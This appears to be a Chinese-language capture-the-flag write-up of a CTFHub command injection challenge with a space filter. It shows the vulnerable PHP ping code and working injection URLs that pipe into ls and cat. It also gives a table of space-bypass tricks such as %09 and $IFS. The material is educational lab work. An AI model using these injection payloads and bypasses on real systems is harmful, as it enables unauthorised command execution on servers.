CTFHub | 过滤空格

忘是亡心i 2024-03-16 21:18 44阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **过滤空格：**
> 
> 这次过滤了空格，你能绕过吗。

![461b8937bfe24827b3850f452cba5b74.png][] 网页显示内容

#### 0x02 解题过程 ####

**Ⅰ**检查网页源代码发现这题如果有空格就不会执行，说明这题对空格做了过滤处理。同样在输入框中输入 IP 进行测试，可以正常回显。

![75360490ad1c4a498999f26e54a60dab.png][]

<?php
    
    $res = FALSE;
    
    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
        $m = [];
        if (!preg_match_all("/ /", $ip, $m)) {
            $cmd = "ping -c 4 {$ip}";
            exec($cmd, $res);
        } else {
            $res = $m;
        }
    }
    ?>

**Ⅱ**在 URL 后加入管道符号，输入 ls 命令进行查看，同样发现一个 flag 可疑文件。

![60ed8745047743b596bb9ff30b15c560.png][]

http://challenge-150707dae6f3ddfe.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

**Ⅲ**在管道符后输入 cat flag 命令进行查看。因为这题过滤了空格，如果在 URL 中输入空格，则不会执行 ping 命令。那么这里将空格替换为 %09 ，也就是 ASCII 的 Tab 键。检查网页，同样是有传递无内容，检查网页源代码发现此题 flag 。

![c69f184391ec4ea4851ad1c35914a525.png][]

http://challenge-150707dae6f3ddfe.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%09flag_5338166523061.php

#### **0x03** 常见绕过方法 ####

过滤空格指的是从一段文本中去除空格，即删除字符串中的空格字符。在 URL 中，我们输入的符号都会由 URL 编码进行转换输出，例如 %20 在 URL 中就代表空格的意思。

<table> 
 <tbody> 
  <tr> 
   <td><strong>名称</strong></td> 
   <td><strong>介绍</strong></td> 
  </tr> 
  <tr> 
   <td>&lt;</td> 
   <td>表示输入重定向，可以将文件或命令的输出作为输入传递给另一个命令。</td> 
  </tr> 
  <tr> 
   <td>&lt;&gt;</td> 
   <td>表示输入输出的重定向。可以将文件或命令的输出作为输入传递给另一个命令，并将输出重定向到另一个文件。</td> 
  </tr> 
  <tr> 
   <td>%09</td> 
   <td>在 URL 中表示制表符。</td> 
  </tr> 
  <tr> 
   <td>%20</td> 
   <td>在 URL 中表示空格。</td> 
  </tr> 
  <tr> 
   <td>$IFS</td> 
   <td>直接使用 $IFS 变量表示空格。</td> 
  </tr> 
  <tr> 
   <td>\${IFS}</td> 
   <td>与 $IFS 变量一致，添加了反斜杠以及大括号。</td> 
  </tr> 
 </tbody> 
</table>

#### **0x04 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[461b8937bfe24827b3850f452cba5b74.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/b28517eebe3743f38877fe1cb13a4ea4.png
[75360490ad1c4a498999f26e54a60dab.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/91f8bfc492044a76883d24d621aa8bde.png
[60ed8745047743b596bb9ff30b15c560.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/88beaacd1aa64a8783ca45faf01cfbc6.png
[c69f184391ec4ea4851ad1c35914a525.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/40b7b950f545482aa3ed8899cbc1c145.png